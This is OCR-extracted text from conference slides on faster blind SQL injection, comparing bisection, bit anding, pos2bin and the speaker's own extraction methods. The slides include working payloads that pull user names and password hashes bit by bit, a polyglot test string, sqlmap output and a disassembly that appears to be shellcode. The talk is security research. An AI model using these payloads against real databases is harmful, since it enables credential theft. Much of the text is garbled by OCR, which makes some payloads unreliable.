(N

- For AS LI

- Injections

D\ SEBEET
) (LPAD (BIN (length (column) s ;=
1,1) FROM table)

1 AND (SELECT ASCII (MID(usér,1,1}%'%¥°sd FROM users)



what is this about

how to do things faster




what is this about

how to do things faster

as fast as possible




blind




blind sgl i1njections are

slow

tools are needed



how can we make a better use

of time?




lveow cam We FTimned ImEeniNestlem

faster?



create faster
tools



# whoami

started hacking 18 years ago

worked for international
governments, law enforcement,
banks and enterprises

speaker at many conferences.



# whoami

Reverse Engineering
OxCOFFEE
Meditation

Music production

Interests
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jcd174@sift3-san3:~% r2 -a x86 -b 32 -qc pd foo.bin
WARN: Use '-e bin.rawstr=true’' or 'rabin2 -zz' to find strings on unknown file types

9x00000000 fc cld
0x00000001 882000006  call Ox88
. 0x00000088 ()
# Who aml 0x00000006 60 pushad
0x00000007  89e5 mov ebp, esp
0x00000009 31co Xor eax, eax
9x0000000b 648b5030 mov edx, [fs:eax+8x30]
0x0000000F 8b520c mov edx, [edx+@xc]
0x00000012 8b5214 mov edx, [edx+0x14]
e > 0x00000015 8b7228 mov esi, [edx+0x28]
| 0x00000018 0fb74a26 movzx ecx, word [edx+0x26]
| 0x0000001c 31f xor edi, edi
: : | .--> 0x0000001e ac lodsb
Reverse Englneerlng | |  exeeeee01f  3c61 cnjg al, @x61
| |,=< 0x00000021  7c@2 i1 ex25
| || ©xoe000023 2c20 sub al, @x20
| | -> 0x00000025 clcfod ror edi, Oxd
O X C O F FE E e 0x00000028 01c7 add edi, eax
| ~==< 09x0000002a e2f2 loop ©x10000001e
. . | 0x0000002c 52 push edx
Me d 1 t a t 10nNn [ 0x0000002d 57 push edi
| 0x0000002e 8b5210 mov edx, [edx+8x10]
| 9x00000031 8bda3c mov ecx, [edx+@x3c]
' ' | 0x00000034 8b4c1178 mov ecx, [ecx+edx+0x78
Music production | oooeoms  eas . jeces o2 ’
| 0x0000003a 01d1 add ecx, edx
| 9x0000003¢ 51 push ecx
| 0x0000003d 8b5920 mov ebx, [ecx+8x20]
| 0x00000040 01d3 add ebx, edx
| 0x00000042 8b4918 mov ecx, [ecx+0x18]
| .----> 9x00000045 e33a jecxz ©0x81
I 0x00000047 49 dec ecx
| 0x00000048 8b348b mov esi, [ebx+ecx*4]
| 0x0000004b 01d6 add esi, edx
I

9x0000004d 31 xor edi, edi



jcd174@sift3-san3:~% r2 -a x86 -b 32 -qc pd foo.bin
WARN: Use '-e bin.rawstr=true' or ‘'rabin2 -zz' to find strings on unknown file types
fc cld

e882 call Ox88
DvOARAAARR( )

Reverse Engineering
OxCOFFEE
Meditation

Music production

804915 mov » Lecx+uxls]
e33a jecxz ©x81

49 dec e

8b348b mov , [ebx+ecx*4]
01d6 add i

31 xor

12



jcd174@sift3-san3:~% r2 -a x86 -b 32 -qc pd foo.bin
WARN: Use '-e bin.rawstr=true’' or 'rabin2 -zz' to find strings on unknown file types

0x00000000
0x00000001

AA00AAARR

# whoami sl

Reverse Engineering

OxCOFFEE

Meditation

Music production

ux

|

|.----> @x00000045
[ 0x00000047
[ 0x000000438
] 0x0000004b
|l 0x0000004d

fc
882000000

e33a
49
8b348b
01d6
31

cld
call ©0x88

Y
g

jecxz ©@x81

dec ecx

mov esi, [ebx+ecx*4]
add esi, edx

xor edi, edi

13



jcd174@sift3-san3:~% r2 -a x86 -b 32 -qc pd foo.bin

WARN: Use '-e bin.rawstr=true’' or 'rabin2 -zz' to find strings on unknown file types
9x00000000 fc cld
0x00000001 882000000 call Ox88

# whoami

ANl ROLONCA
P09 @=

AR Broken Tribute 03
AR Charting Athmo Chord Arp 1
AR Charting Athmo Chord Arp 2

Reverse Engineering| = ums"

SBOwc wsER || MR | |_omsy | SwS) | emos | womw | WNR | wes | S
? g 0 icBusine? %‘., l._uu

0xCOFFEE L mmemTE R am  m ROl @ﬂ

Meditation

Music production ‘

-—-=> 0x00000045 e33a jecxz Ox81

|-

|1 0x00000047 49 dec ecx

| 0x00000048 8b348b mov esi, [ebx+ecx*4]
| 0x0000004b 01d6 add esi, edx

| 9x0000004d 31FF xor edi, edi

14



word,1,1))),-

BIN(length(column)),%d, '0"'),—-
table)

1 AND (SELECT ASCII (MID(usér,1,1}%'%¥°sd FROM users)
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Testing phase

1" and "1'="1 1" and '1'="60
1II and II1II=II1 1II and II1II=II@
1T and 1=1 1T and 1=0



It is a must to
try every possible
injection context



If there are 100

parameters, 600

test injections
should be
performed.

It is a must to
try every possible
injection context



one—-liner polyglot

L&&l/*'asmas ! "i="1="x*/



one—-liner polyglot

Y
Ca

1&&l/*'a&"as! "i="1="x*/




one—-liner polyglot

L&&l/*'asmas ! "i="1="x*/



one—-liner polyglot

and 1/*'" and " and '""!='"!="%/



one—-liner polyglot

and 1/*' and " and '""!="!="x/

Numeric context



Numerilic context

Single quoted



one—-liner polyglot

and 1/*' and

Numeric context
Single quoted
Double quoted



(N

|

SND\( SEBES

est Existing“Blind

Injection Methods

1 AND (SELECT ASCII (MID(usér,1,1}%'%¥°sd FROM users)

26



fastest existing methodé,f'
/ /

[ 4] Blsectlon Method
[3] Bit Shlftlng
[2] Bit Anding

[1] posZ2bin

27



fastest existing methods NN

/
y
7,

Bisection

Wethod |
Bit Shifting
Bit Andlng -/ |

posz2bin

28



Overview of bisection method

|+] Used by sglmap

$ python sqlmap.py -u "http://debiandev/sqlmap/mysql/get_int.php?id=1" --batch

{1.3.4.44wdev}

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent i
s illegal. It is the end user's responsibility to obey all applicable local, state and fed

eral laws. Developers assume no liability and are not responsible for any misuse or damage
caused by this program

[*] starting @ 10:44:53 /2019-84-30/

[10:44:54) [InFO] testing connection to the target URL

[10:44:54] [INFO] heuristics detected web page charset ‘ascii’

[10:44:54]) [INFO) checking if the target is protected by some kind of WAF/IPS

[10:44:54]) [INFO] testing if the target URL content is stable

[10:44:55] [INFO] target URL content is stable

(19:44:55) [INFO) testing if GET parameter 'id' is dynamic

[10:44:55] [INFO] GET parameter 'id' appears to be dynamic

[10:44:55] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
(possible DBMS: 'MySQL')



$ python sqlmap.py -u "http://debiandev/sqlmap/mysql/get_int.php?id=1" --batch

[,]

I_ -l - [§] B e
A e R
N I_l http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent 1
s illegal. It is the end user's responsibility to obey all applicable local, state and fed

eral laws. Developers assume no liability and are not responsible for any misuse or damage
caused by this program

{1.3.4.44#%dev}

[*] starting @ 10:44:53 /2019-64-30/

[190:44:54) [INFO] testing connection to the target URL

[10:44:54] [INFO] heuristics detected web page charset ‘'ascii’

[10:44:54] [INFO] checking if the target is protected by some kind of WAF/IPS

[10:44:54]) [INFO)] testing if the target URL content is stable

[10:44:55] [INFO] target URL content is stable

[10:44:55) [INFO] testing if GET parameter 'id' is dynamic

[10:44:55] [INFO] GET parameter 'id' appears to be dynamic

[10:44:55]) [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable

(possible DBMS: 'MySOL') e



$ python sqlmap.py -u "http://debiandev/sqlmap/mysql/get _int.php?id=1" --batch

{1.3.4.44%dev)}

| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent i
5 illegal It 1s the end user's respon51b111ty to obey all appllcable local, state and fed

B ¢ Boolean-based blind: sqlmap replaces or appends to the affected parameter in the HTTP reque

statement string containing a SELECT sub-statement, or any other SQL statement whose the user want to
output. For each HTTP response, by making a comparison between the HTTP response headers/body with

request, the tool inference the output of the injected statement character by character. Alternatively, the u

wl Bed bt b

string or regular ewprnssion to match on True pages The bisection a!qorithm implﬂmﬂntﬂd in sqlmap O pé€

P —— p— — — — g—
- 4§

o el el




Overview of bisection method

[+] 7 requests to find 1 character (ASCII)
[+] 8 requests for the UTF-8 Latin range

[+] Each injection depends on the result of
the previous one:

[-] They must be performed in a sequence

32



Overview of bisection method

[+] 7 requests to find 1 character (ASCII)
[+] 8 requests for the UTF-8 Latin range

[+] Each injection depends on the result of
the previous one:

[-] They must be performed in a sequence

KK}



Overview of bisection method

binary search | 52 #= E

/\ 3 0 1

1 AND SELECT MID (user,1,1)
BETWEEN 0x00 and Ox7f

O 1 2 3

C
C

KZ)



10 hashes
5 seconds
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Overview of existing méthods
’ /

[ 4] Blsectlon Method
[3] Bit Shlftlng
[2] Bit Andlng

[1] posZ2bin

36



Overview of existing méthods
(4] Piseetior—ietiod
(3] Bit Shifting

[2] Bit Anding

[1] posZ2bin
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Overview of existing methods

[ 4]

/

Brsecttomr—Metired

uy

Bit Anding

posz2bin

P @l ! : . « |
i I uhﬂ.‘%ﬁ_—ﬁ'@‘ doesn’t work with threads ‘ !
‘ \

38



Overview of existing methods NN

g (@l
L C )

uy

[2] Bi1t Anding*

[1] posZbin



Overvliew of bit anding

[+] 7 requests to find 1 character

[+] 8 requests for the UTF-8 Latin range

[+] Requests are done all at once.

40



Overvliew of bit anding

[+]| 7 requests

[+]| 8 requests

Equal to sqglmap

to fi character

for the UTF-8 Latin range

[+] Requests are done all at once.

41



Overview of bit anding

[+] 7 requests to find 1 character

[+] 8 requests for the UTF-8 Latin range

[+] Requests are done all at once.

42



Overvliew of bit anding

[+] Blind injections work by
gathering TRUE and FALSE responses

[!] Type-cast everything to number

L 0

[+] Instead of using logic, everything 1is

represented as numbers 1n 1ts binary value

43



Overvliew of bit anding

Probably first implemented by Jelmer de Hem:
https://www.exploit-db.com/papers/17073

44


https://www.exploit-db.com/papers/17073

o°

1l AND (SELECT ASCII (MID(user,1,1)) & %d FROM users)

a

AND
01100001 01100001 01100001 01100001 01100001 01100001 01100001 01100001
00000001 00000010 00000100 00001000 00010000 00100000 01000000 10000000

00000001 00000000 00000000 00000000 00000000 00100000 01000000 00000000
= TRUE FALSE = FALSE = FALSE = FALSE = TRUE = TRUE = FALSE

a O0x61 01100001

0x01 00000001  0x10 00010000
d 0Oxe4 01100100 0x02 00000010  0x20 00100000
m Oxéd 01101101 0x04 00000100  0x40 01000000
i 0x69 01101001 0x08 00001000 0x80 10000000
n

Ox6e 01101110

45



1 AND (SELECT ASCII (MID (user,1l,1))

a

AND

01100001 01100001
00000001 00000010

00000001 00000000

= TRUE

00000000 00000000

01100001 01100001
00000100 00001000

= FALSE FALSE = FALSE
a 0x61 01100001
d O0x64 01100100
m Oxéd 01101101
i O0x69 01101001
n Ox6e 01101110

01100001 01100001
00010000 00100000
00000000 00100000
TRUE

= FALSE =

0x01 00000001
0x02 00000010
0x04 00000100
0x08 00001000

o°

0x10
0x20
0x40
0x80

01100001
01000000

01000000

= TRUE

00010000
00100000
01000000
10000000

d FROM users)

01100001
10000000

00000000
= FALSE
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1 AND (SELECT ASCII (MID (user,1,1))

b= ——

97

= 01100001

AND

01100001 01100001
00000001 00000010

00000001 00000000

= TRUE

01100001 01100001
00000100 00001000

00000000 00000000

= FALSE FALSE = FALSE
a 0x61 01100001
d O0x64 01100100
m Oxéd 01101101
i O0x69 01101001
n Ox6e 01101110

01100001 01100001
00010000 00100000

00000000 00100000
TRUE

= FALSE =

0x01 00000001
0x02 00000010
0x04 00000100
0x08 00001000

o°

0x10
0x20
0x40
0x80

01100001
01000000

01000000

= TRUE

00010000
00100000
01000000
10000000

d FROM users)

01100001
10000000

00000000
= FALSE
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1 AND (SELECT ASCII (MID (user,1,1)) & %d

a = 01100001
AND

01100001 01100001 01100001 01100001
00000001 00000010 00000100 00001000
00000001 00000000 00000000 00000000
= TRUE = FALSE FALSE = FALSE

a Ox6l 01100001

d O0x64 01100100

m Oxed 01101101

i 0x69 01101001

n Ox6e 01101110

FROM users)

01100001 01100001 01100001 01100001

00010000 00100000 01000000 10000000

00000000 00100000 01000000 00000000
= FALSE = TRUE = TRUE = FALSE

0x01 00000001 0x10 00010000

0x02 00000010 0x20 00100000 %d

0x04 00000100 0x40 01000000

0x08 00001000 0x80 10000000
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1 AND (SELECT ASCII (MID (user,1,1)) & %d

a =97 = 01100001
AND

01100001 01100001 01100001 01100001
00000001 00000010 00000100 00001000
00000001 00000000 00000000 00000000
= TRUE = FALSE FALSE = FALSE

a Ox6l 01100001

d O0x64 01100100

m Oxed 01101101

i 0x69 01101001

n Ox6e 01101110

01100001
00010000

00000000
= FALSE =

0x01 00000001
0x02 00000010
0x04 00000100
0x08 00001000

01100001
00100000

00100000
TRUE

0x10
0x20
0x40
0x80

01100001
01000000

01000000

= TRUE

00010000
00100000
01000000
10000000

FROM users)

01100001
10000000

00000000

FALSE

o\°
O,
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1 AND (SELECT ASCII (MID (user,1,1)) & %d

a =97 = 01100001
AND

01100001 01100001 01100001 01100001
00000001 00000010 00000100 00001000
00000001 00000000 00000000 00000000
= TRUE = FALSE FALSE = FALSE

a Ox6l 01100001

d O0x64 01100100

m Oxed 01101101

i 0x69 01101001

n Ox6e 01101110

01100001
00010000

00000000
= FALSE =

0x01 00000001
0x02 00000010
0x04 00000100
0x08 00001000

01100001
00100000

00100000
TRUE

0x10
0x20
0x40
0x80

01100001
01000000

01000000

= TRUE

00010000
00100000
01000000
10000000

FROM users)

01100001
10000000

00000000

FALSE

o\°
O,
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1 AND (SELECT ASCII (MID (user,1,1)) & %d

b= ——

97

= 01100001

AND

01100001 01100001
00000001 00000010

00000001 00000000

= TRUE

01100001 01100001
00000100 00001000

00000000 00000000

= FALSE FALSE = FALSE
a 0x61 01100001
d O0x64 01100100
m Oxéd 01101101
i O0x69 01101001
n Ox6e 01101110

01100001 01100001
00010000 00100000

00000000 00100000
TRUE

= FALSE =

0x01 00000001
0x02 00000010
0x04 00000100
0x08 00001000

0x10
0x20
0x40
0x80

01100001
01000000

01000000

= TRUE

00010000
00100000
01000000
10000000

FROM users)

01100001
10000000
00000000
= FALSE

o\°
O,
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1 AND (SELECT ASCII (MID (user,1,1)) & %d

b= ——

97

= 01100001

AND

01100001 01100001
00000001 00000010

00000001 00000000

= TRUE

01100001 01100001
00000100 00001000

00000000 00000000

= FALSE FALSE = FALSE
a O0x6l 01100001
d O0x64 01100100
m Oxéd 01101101
i O0x69 01101001
n Ox6e 01101110

01100001 01100001
00010000 00100000

00000000 00100000
TRUE

= FALSE =

0x01 00000001
0x02 00000010
0x04 00000100
0x08 00001000

0x10
0x20
0x40
0x80

01100001
01000000

01000000

= TRUE

00010000
00100000
01000000
10000000

FROM users)

01100001
10000000
00000000
= FALSE

o\°
O,
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1 AND (SELECT ASCII (MID (user,1,1)) & %d

a =97 = 01100001
AND

01100001 01100001 01100001 01100001
00000001 00000010 00000100 00001000
00000001 00000000 00000000 00000000
= TRUE = FALSE FALSE = FALSE

a Ox6l 01100001

d O0x64 01100100

m Oxed 01101101

i 0x69 01101001

n Ox6e 01101110

01100001
00010000

00000000
= FALSE =

0x01 00000001
0x02 00000010
0x04 00000100
0x08 00001000

01100001
00100000

00100000
TRUE

0x10
0x20
0x40
0x80

01100001
01000000

01000000

= TRUE

00010000
00100000
01000000
10000000

FROM users)

01100001
10000000

00000000

FALSE

o\°
O,
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1 AND (SELECT user,1,1 & $d FROM users)

AND
01100001 01100001 01100001 01100001 01100001 01100001 01100001 01100001
00000001 00000010 00000100 00001000 00010000 00100000 01000000 10000000

00000001 00000000 00000000 00000000 00000000 00100000 01000000 00000000
= TRUE FALSE = FALSE = FALSE = FALSE = TRUE = TRUE = FALSE

a O0x61 01100001
0x01 00000001  0x10 00010000
d 0Oxe4 01100100 0x02 00000010  0x20 00100000 O
m Oxé6d 01101101 0x04 00000100  0x40 01000000
i 0x69 01101001 0x08 00001000 0x80 10000000
n

Ox6e 01101110
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1 AND (SELECT user,1,1 & $d FROM users)

AND
01100001 01100001 01100001 01100001 01100001 01100001 01100001 01100001
00000001 00000010 00000100 00001000 00010000 00100000 01000000 10000000

00000001 00000000 00000000 00000000 00000000 00100000 01000000 00000000
= TRUE FALSE = FALSE = FALSE = FALSE = TRUE = TRUE = FALSE

a O0x61 01100001
0x01 00000001  0x10 00010000
d 0Oxe4 01100100 0x02 00000010  0x20 00100000 O
m Oxé6d 01101101 0x04 00000100  0x40 01000000
i 0x69 01101001 0x08 00001000 0x80 10000000
n

Ox6e 01101110
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1 AND (SELECT user,1,1 & $d FROM users)

AND
01100001 01100001 01100001 01100001 01100001 01100001 01100001 01100001
00000001 00000010 00000100 00001000 00010000 00100000 01000000 10000000

00000001 00000000 00000000 00000000 00000000 00100000 01000000 00000000
= TRUE FALSE = FALSE = FALSE = FALSE = TRUE = TRUE = FALSE

a O0x61 01100001
0x01 00000001  0x10 00010000
d 0Oxe4 01100100 0x02 00000010  0x20 00100000 O
m Oxé6d 01101101 0x04 00000100  0x40 01000000
i 0x69 01101001 0x08 00001000 0x80 10000000
n

Ox6e 01101110
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1 AND (SELECT user,1,1 & $d FROM users)
AND
01100001 01100001 01100001 01100001 01100001 01100001 01100001 01100001
00000001 00000010 00000100 00001000 00010000 00100000 01000000 10000000
00000001 00000000 00000000 00000000 First bit 1is )000 00000000
= TRUE = FALSE FALSE = FALSE always 0 in the rrue = rFaLsE
ASCII range
a O0x61 01100001
0x01 00000001  0x10 00010000
x64 1100%
d 0x6 01100200 0x02 00000010  0x20 00100000 &
m Oxé6d [0X101101 0x04 00000100 0x40 01000000
i 0x69 01101001 0x08 00001000 0x80 10000000
n Ox6e 01101110
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1 AND (SELECT user,2,1 & $d FROM users)

AND
01100001 01100001 01100001 01100001 01100001 \ 01100001 01100001 01100001
00000001 00000010 00000100 00001000 00010000 \00100000 01000000 10000000
00000001 00000000 00000000 00000000 Th K f )000 00000000
= TRUE FALSE = FALSE = FALSE en we as or T'RUE = FALSE
each character

a O0x61 01100001
0x01 00000001  0x10 00010000
d 0x64 01100100 0x02 00000010  0x20 00100000 &
m Oxé6d 01101101 0x04 00000100  0x40 01000000
i 0x69 01101001 0x08 00001000 0x80 10000000
n

Ox6e 01101110
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1 AND (SELECT user, 3,1 & $d FROM users)

AND
01100001 01100001 01100001 01100001 01100001 \ 01100001 01100001 01100001
00000001 00000010 00000100 00001000 00010000 \00100000 01000000 10000000
00000001 00000000 00000000 00000000 Th K f )000 00000000
= TRUE FALSE = FALSE = FALSE en we as or T'RUE = FALSE
each character

a O0x61 01100001
0x817 00000001  0x10 00010000
d _0xe4 01100100 0x02 00000010  0x20 00100000 &
m Oxé6d 01101101 0x04 00000100  0x40 01000000
i 0x69 01101001 0x08 00001000 0x80 10000000
n

Ox6e 01101110
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1 AND (SELECT user,4,1 & $d FROM users)

AND
01100001 01100001 01100001 01100001 01100001 01100001 01100001 01100001
00000001 00000010 00000100 00001000 00010000 00100000 01000000 10000000
00000001 00000000 00000000 00000000 )000 00000000

= TRUE FALSE = FALSE = FALSE Then we aSk for T'RUE = FALSE
each character

a O0x61 01100001
0x01-00000001  0x10 00010000
d 0Oxe4 01100100 0%02 00000010  0x20 00100000 O
m Ox6d 01101101 0x04 00000100  0x40 01000000
i 0x69 01101001 0x08 00001000 0x80 10000000
n

Ox6e 01101110
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1 AND (SELECT user,5,1 & $d FROM users)

AND
01100001 01100001 01100001 01100001 01100001 \ 01100001 01100001 01100001
00000001 00000010 00000100 00001000 00010000 \00100000 01000000 10000000
00000001 00000000 00000000 00000000 Th K f )000 00000000
= TRUE FALSE = FALSE = FALSE en we as or T'RUE = FALSE
each character

a O0x61 01100001
0x01 06000001  0x10 00010000
d 0Oxe4 01100100 0xpZ 00000010  0x20 00100000 O
m Oxé6d 01101101 ¢%04 00000100  0x40 01000000
i 0x69 01101001 0x08 00001000 0x80 10000000
n

Ox6e 01101110
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Overvliew of bit anding

[+]Created by me back 1n 2010

62






[+] Start Time: 15:55:38
+] End Time: 15:55:43
ﬁ:ﬂ 2652 requests

[+] Done.
tr3wéspine-ripper:~/stuff/bit-anding$ |

5 seconds
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Overvliew of bit anding

sgql-anding.py

http: 1thub.com/tr3w
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http://github.com/tr3w

Overview of existing methods

/

W T e A : « | |
| HD N N U ) doesn’t support threading | |

AreH e
posz2bin

§y,
|_1.
i
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Overview of existing mefhods

/

threading |
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Overview of pos2bin

[+] 2 to 6 requests for 1 character (variable)
Average: 4 requests

[+] 2 to a maximum of 9 requests (UTF-8 latin)

[+] Each request is independent from the previous
one:

[-] No need to perform sequentially

[-] Threading is supported!
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Overview of pos2bin

[+] A set of possible characters i1s defined

abcdefghijklmnopgrstuvwxyz
0123456789, .<>/2; :\""[{]1}\]|=+-)

(*&"SS#@Q! "~
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Overview of pos2bin

[+] We find the position of the desired
character 1in the set.

abcdefghijklmnopgrstuvwxyz
0123456789, .<>/2; :\N""[{]1}\[=+-)
(F&"SSH#Q@! "~
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Overview of pos2bin

[+] We find the position of the desired
character i1n the set.

b =2

abcdefghil JkImmmmopgrstuvwxyz
0123456789, .<>/2; :\""[{]}\|=+-)
(*&"SS#Q! "~




Overview of pos2bin

[+] We convert this position to binary and
each bit 1s retrieved

b=2=10

dbcdefghijklmnopgrstuvwxyz
0123456789, .<>/2; :\N""[{]1}\|=+-)
(F&"SSH#Q@! "~




Overview of pos2bin

[+] We convert this position to binary and
each bit 1s retrieved

b=2=10

dbcdefghijklmnopgrstuvwxyz
0123456789, .<>/2; :\N""[{]1}\|=+-)
(F&"SSH#Q@! "~




Overview of pos2bin

[+] We convert this position to binary and
each bit 1s retrieved

b=2 =10

dbcdefghijklmnopgrstuvwxyz
0123456789, .<>/2; :\N""[{]1}\|=+-)
(F&"SSH#Q@! "~




Overview of pos2bin

[+] We convert this position to binary and
each bit 1s retrieved

b=2=10

dbcdefghijklmnopgrstuvwxyz

_0123456789,.<>/?;1\"I We returned a

(*&"SSH#Q! "~ character with just
2 requests!!!




Overview of pos2bin

[+] Created by Roberto Salgado
back 1n 2010, [ LightOS ]

@lightos
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Overview of pos2bin

[+] Very convenlient when we are using a
narrow character range.

012345678%abcdetf
Hex set: maximum of 5, average of 3

Useful when we want to
return hashed passwords
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pos2bin sql injection

IF((Qa:=MID (BIN (POSITION (MID ( (
SELECT password from users),1l,1)IN
(CHAR (48,49,50,51,52,53,54,55,56,5
7,65,66,67,68,69,70)),1,1)) !'=space

(0) ,2-@a,0/0)
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pos2bin sql injection

IF((Qa:=MID (BIN (POSITION (MID ( (
SELECT password from users),1l,1)IN
(CHAR (48,49,50,51,52,53,54,55,56,5
7,65,66,67,68,69,70)),1,1)) '=space

(0) ,2-@a,0/0)
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pos2bin sgl injection

IF((Qa:=MID (BIN (POSITION (MID ( (
SELECT password from users),1l,1)IN
(CHAR (48,49,50,51,52,53,54,55,56,5
7,65,66,67,68,69,70)),1,1)) '=space
(0) ,2-@a,0/0)

0x30313233343536373839414243444546
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pos2bin sql injection

CHAR (48,49,50,51,52,53,54,55,56,57
,65,66,67,68,69,70)
Length: 53

0x30313233343536373839414243444546
Length: 34
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pos2bin sql injection

ITF((da:=MID(BIN(POSITION (MID ( (
SELECT password from users),1,1)IN
(0x303132333435363738394142434445406)

,1,1)) !'=space (0),2-C@a,0/0)
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Pos2bin disadvantages

[+] Needs 3 different types of responses
[-] TRUE
[-] FALSE
[-] ERROR

[+] Very inconvenient when dealing with wide

character ranges
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Full range

[+] Start Time: 15:51:15
[+] End Time: 15:51:20

[+] 1900 requests

5 seconds

[+] Done.
tr3wéspine-ripper:-/stuff/lightspeeds |



Hex range

[+] Start Time: 15:52:54
[+] End Time: 15:52:57
[+] 1467 requests

3 Seconds

[+] Done.
tr3wéspine-ripper:-/stuff/lightspeeds |



Overview of existing methods

/

T =
1)1 U
T 5 :
11 U

h [ ] | ) “
uhﬂ__ﬁtﬁ__ﬁg‘ doesn’ t support threading | |
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Overview of duality

maximum of 5 requests for character

minimum of 2 requests for character

Only needs 2 types of responses

Works with the full ASCII range
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Overview of duality

[+] Only some fragments of the i1nformation
are requested

[+] The missing pilieces are deduced

[+] Works with any data type:

[-] Alphanumeric characters
[-] Random data

[+] Works 100% of the time

90



Explanation of duality

Number Binary representation
0110000
0110001
0110010
0110011
0110100
0110101
0110110
0110111
0111000
0111001

O O I o U b W DN+ O



Explanation of duality

Number Binary representation

O O 1 o U1 b W DN - O
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Explanation of duality

Number Binary representation
0000
0001
0010
0011
0100
0101
0110
0111
1000
1001

O O I o U b W DN+ O



BIT COUNT ()

Number Binary BIT COUNT
0000
0001
0010
0011
0100
0101
0110
0111
1000
1001

W 0 J o U1 b W N B+ O
D P w DD RN PO



BIT COUNT() = 1

Number Binary BIT COUNT
1 0001
2 0010
4 0100
3 1000



BIT COUNT() = 1

Number Binary BIT COUNT
1 0001
2 0010
4 0100
3 1000



BIT COUNT() = 1

Number Binary BIT COUNT
1 CO01
COL0
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BIT COUNT() = 1

Number Binary BIT COUNT
1 0001 1
0010 1
Possible combilnations: Actual permutations
00 01 01 10

10 11
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BIT COUNT() = 3

A

U

S

B C

K L M
I U Vv

D .

Sl

f B
N O
W X Y

H 1
Q R
/



BIT COUNT() = 3

Character Binary BIT COUNT

G 0 0111 3
K 0 1011 3
M 0 1101 3
N 0 1110 3
W 1 0111 3
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BIT COUNT() = 3

Character Binary BIT COUNT

G 010111 3
K 0 1011 3
M 0 1101 3
N 0 1110 3
W 110111 3
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BIT COUNT() = 3

Character Binary BIT COUNT

G 00111 3
K 0 1011 3
M 0 1101 3
N 0 1110 3
W 110111 3
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BIT COUNT() = 3

Character Binary BIT COUNT

Z = =
O O O
R R =
= = O
= O B
o B P
w W W
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BIT COUNT() = 3

Character Binary BIT COUNT

=< =
o O
=
= O
o
=
w W

Z
O
—
=
—
)
W
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BIT COUNT() = 3

Character Binary BIT COUNT

K 0 1011 3
M 0 1101 3
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BIT COUNT() = 3

Character Binary BIT COUNT
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| BIT_COUNT =2 I

0 < R2#0 » 1
l /
R2H —— 1 —— 000011 R2H # 0

: o

l RO#0 — 1 RO#0— 1
R1#0 1 l l < /
ROL
R R1L o/\ 2N i “\
L 1 0
]
- W i N 1 = }
0 | | | 0 1 s |
0 1 1
l /\ 001001 100001 01“1{ \ e
/ ROL ROL -

001010 000110

110000 oot100 -~ \

101000 011000
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BIT COUNT() = 2

RO R1 R2
00 11 00
01 01 00
01 10 00
10 01 00
10 10 00
11 00 00
00 01 01
00 10 01
01 00 01
10 00 01
00 01 10
00 10 10
01 00 10
10 00 10
00 00 11
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BIT COUNT() = 2

RO R1 R2
___________________ ——
00 11 00
01 01 00
01 10 00
10 01 00
10 10 00
11 00 00
00 01 0T
00 10 01
01 00 01
10 00 01
00 01 10
00 10 10
01 00 10
10 00 10
00 00 11
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BIT COUNT() = 2

RO R1 R2
00 11 00
01 01 00
01 10 00
10 01 00
10 10 00

110



BIT COUNT() = 2

RO R1 | 2V
11 00 00
10 01 00
01 01 00
00 11 00
01 10 00
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BIT COUNT ()
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BIT COUNT ()

R1 R2
11 00
110 00
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BIT COUNT() = 2

2 requests: 1 possibility

4 requests: 10 possibilities

O requests: 4 possibilities
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BIT_COUNT() = N“’i“'

1 000 2/ 8

0%



BIT_COUNT() = N"’i“’

1 000

00111111



BIT COUNT () = 2 nversion!

&
Number 8f requests

Normal tr 71 seconds

Tree 1nve 60l seconds
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Full range

[+] Start Time: 15:53:39
+] End Time: 15:53:44
‘[+] 2633 requests

[+] Done.
tr3wéspine-ripper:-/stuff/lightspeeds |

5 seconds
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Hex range

[+] Start Time: 15:52:54
+] End Time: 15:52:57
‘[+] 1467 requests

[+] Done.
tr3wéspine-ripper:-/stuff/lightspeeds §

Bhkceconds
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Bit Superposition

[+] Is 1t possible to extract 2 bits at the

same time with only 2 types of responses???

00 01 10 11

L

TRUE FALS.

L™
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Bit Superposition

[+] Is 1t possible to extract 2 bits at the
same time with only 2 types of responses???

00 01 10 11
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Bit Superposition

[+] Is 1t possible to extract 2 bits at the
same time with only 2 types of responses???

00

01

10

11
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@0
10)

10+ |1)
/2

@
1)

Classical Bit
Qubit



¥ = 0.0[0) + 1.0]1)

8

()

Bi
1 1 =
TN SRO TN b
[ ¥=—2l0+ e |V
sa
g -
b= 1.0|0)+o.0|1>®(0)
__ 1., 1 N7
=g e
N7

(

)
8

¥ = 0.0]0) — 1.0|1)

1
V2 _ L s B
T |ev=gio+ 5
2
((1))¢>¢ = 1.0[0) + 0.0|1)
V2 e A
U |ev=glo-5
vz
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Bit Superposition

[+] Is 1t possible to extract 2 bits at the
same time with only 2 types of responses???

00

01

10

11
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Bit Superposition

?1d=1 AND (CASE WHEN (@ :=(select
mid(bin(ascii (mid(password,1,1))),1,2) from usuarios limit 1))='00"' THEN O
WHEN @ ='01'" THEN 1 WHEN @ ='10"'" THEN (0 OR NOT SLEEP(0.5))ELSE (1 AND NOT
SLEEP (0.5))END)
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Bit Superposition

?1d=1 AND (CASE WHEN (@ :=(select
mid(bin (ascii(mid(password,1,1))),1,2) from usuarios limit 1))='00"' THEN O
WHEN @ ='01"' THEN 1 WHEN @ ='10"' THEN (0 OR NOT SLEEP(0.5))ELSE (1 AND NOT
SLEEP (0.5))END)
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Bit Superposition

?1d=1 AND (CASE WHEN (@ :=(select
mid(bin(ascii (mid(password,1,1) )),1,2) from usuarios limit 1))='00"' THEN O
WHEN @ ='01'" THEN 1 WHEN @ ='10"'" THEN (0 OR NOT SLEEP(0.5))ELSE (1 AND NOT
SLEEP (0.5))END)
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Bit Superposition

?1d=1 AND (CASE WHEN (@ :=(select
mid(bin(ascii(mid(password,1,1) )),1,2) from usuarios limit 1))='00"' THEN O
WHEN @ ='01"' THEN 1 WHEN @ ='10"' THEN (0 OR NOT SLEEP(0.5))ELSE (1 AND NOT

SLEEP (0.5))END)

a = 97 = 1100001
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Bit Superposition

?1d=1 AND (CASE WHEN (@ :=(select
mid(bin(ascii(mid(password,1,1))) ,1,2) from usuarios limit 1))='00"' THEN O
WHEN @ ='01"' THEN 1 WHEN @ ='10"' THEN (0 OR NOT SLEEP(0.5))ELSE (1 AND NOT

